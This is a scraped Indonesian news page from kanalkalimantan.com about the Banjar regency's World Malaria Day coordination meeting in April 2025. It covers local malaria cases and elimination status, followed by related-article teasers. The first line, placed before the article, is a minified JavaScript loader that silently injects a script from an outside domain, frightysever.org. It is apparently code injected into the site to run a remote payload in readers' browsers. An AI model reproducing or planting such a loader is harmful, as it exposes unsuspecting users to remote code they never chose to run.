(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, MARTAPURA – Wakil Bupati Banjar Habib Idrus Al Habsyi membuka pertemuan koordinasi lintas sektor dalam rangka peringatan Hari Malaria Sedunia Tingkat Kabupaten Banjar, di Hotel Roditha, Banjarbaru, Jumat (25/4/2025) pagi.
Menurut wabup, Hari Malaria Sedunia yang diperingati setiap tahun menjadi momentum global untuk meningkatkan kesadaran akan malaria, penyakit yang dapat dicegah dan diobati namun masih menjadi tantangan kesehatan masyarakat di banyak negara.
Peringatan ini bertujuan mengedukasi masyarakat mengenai gejala, pencegahan serta pentingnya akses terhadap diagnosis dan pengobatan malaria.
Baca juga: Odmil III-15 Banjarmasin Limpahkan Kasus Juwita ke Pengadilan Militer
Wabup Banjar menegaskan pentingnya kolaborasi lintas sektor dalam mempercepat upaya pemberantasan malaria.
“Oleh karena itu, puskesmas dan kader kesehatan harus menjadi ujung tombak. Pelibatan masyarakat dalam pemantauan kasus dan pengobatan tuntas adalah kunci keberlanjutan,” ujar dia.
Wabup berharap pertemuan ini dapat memperkuat komitmen, kolaborasi dan kepemimpinan dalam upaya eliminasi malaria, mulai dari tingkat desa hingga kabupaten, demi mewujudkan Kabupaten Banjar Bebas Malaria.
“Dengan dukungan dan peran aktif seluruh elemen masyarakat melalui aksi bersama, kita optimistis dapat mewujudkan Indonesia Bebas Malaria pada 2030,” tambah dia.
Baca juga: Disogok, Tiga Polisi Polres Samarinda ‘Bebaskan’ Tahanan Nyabu di Sel
Sementara itu Kepala Dinas Kesehatan Kabupaten Banjar, Yasna Khairina melaporkan, bahwa sepanjang Januari hingga April 2025 telah ditemukan 14 kasus malaria di 5 kecamatan, yakni Sungai Pinang, Pengaron, Aranio, Karang Intan dan Simpang Empat.
“Seluruh kasus tersebut berasal dari luar daerah yang endemis malaria. Hal ini mengingatkan kita untuk tetap waspada agar tidak terjadi penularan lokal atau indigenous,” jelas dia.
Baca juga: DPKP Kabupaten Banjar Laksanakan Forum Perangkat Daerah
Kabupaten Banjar telah memperoleh sertifikat eliminasi malaria pada 2022. Dari 13 kabupaten/kota di Kalimantan Selatan, saat ini tersisa tiga daerah yang masih menunggu hasil penilaian pusat, yakni Kabupaten Tanahbumbu, Balangan dan Kotabaru.
Pertemuan lintas sektor ini juga dihadiri Plt Kepala Dinas Kesehatan Provinsi Kalimantan Selatan Muhammad Muslim, Kabid P2P Dinkes Banjar Marzuki, camat dari lima kecamatan, serta kepala UPTD puskesmas se-Kabupaten Banjar. (kanalkalimantan.com/dkispbanjar/kk)
Reporter: kk
Editor: Dhani
KANALKALIMANTAN.COM, KUALA KAPUAS - Pemerintah Kabupaten Kapuas menetapkan tiga lokasi pelaksanaan Pasar Ramadan 1447 Hijriah… Read More
KANALKALIMANTAN.COM, BANJARMASIN – Pengadaan kamera mirrorless dua unit seharga Rp132.690.000 oleh Pemerintah Kota (Pemko) Banjarmasin… Read More
Minta Pemko Banjarmasin Aktifkan Kembali 64 Ribu BPJS Warga Read More
KANALKALIMANTAN.COM, JAKARTA - Kementerian Transmigrasi (Kementrans) turun tangan langsung menangani kasus pencabutan Sertipikat Hak Milik… Read More
KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kota Banjarbaru mengeluarkan surat edaran tentang pelaksanaan kegiatan masyarakat pada bulan… Read More
KANALKALIMANTAN.COM, BANJARBARU – Cuaca di Kalimantan Selatan (Kalsel) dalam sepekan ke depan diprakirakan masih didominasi… Read More
This website uses cookies.